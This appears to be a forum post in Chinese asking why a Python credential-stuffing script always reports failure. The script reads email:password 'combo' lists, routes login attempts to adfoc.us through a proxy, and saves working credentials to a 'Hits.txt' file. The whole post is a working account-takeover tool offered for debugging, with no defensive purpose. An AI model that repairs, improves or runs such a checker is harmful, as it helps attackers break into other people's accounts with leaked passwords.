我不知道如何解决此问题，它会检查帐户，但始终显示无效，我真的很难找到解决方法，以解决好的邮寄请求plz帮助。

import requests


def failed(email,password):
    print(f"Login Failed Using Email: {email} and Password: {password}")


def passed(email,password):
    print(f"Login Success Using Email: {email} and Password: {password}")
    print(f"email: {email} and password: {password}",file=open("Hits.txt","w"))


def checker(data):
    proxy = {"https": "1.2.169.101:47477"}
    email = data[0]
    password = data[1]
    success_keyword = """<strong>Today's Earnings:</strong>"""
    api_sender = requests.session()
    source = api_sender.post("https://adfoc.us/session/create",proxies=proxy,data={"email": email,"password": password}).text
    if success_keyword is source:
        passed(email,password)
    else:
        failed(email,password)


combos_name = input("Please Enter Combo name: ")
combos = open(combos_name,"r").readlines()
arrange = [lines.replace("\n","")for lines in combos]
for lines in arrange:
    data = lines.split(":")
    checker(data)


input('Press ENTER to exit')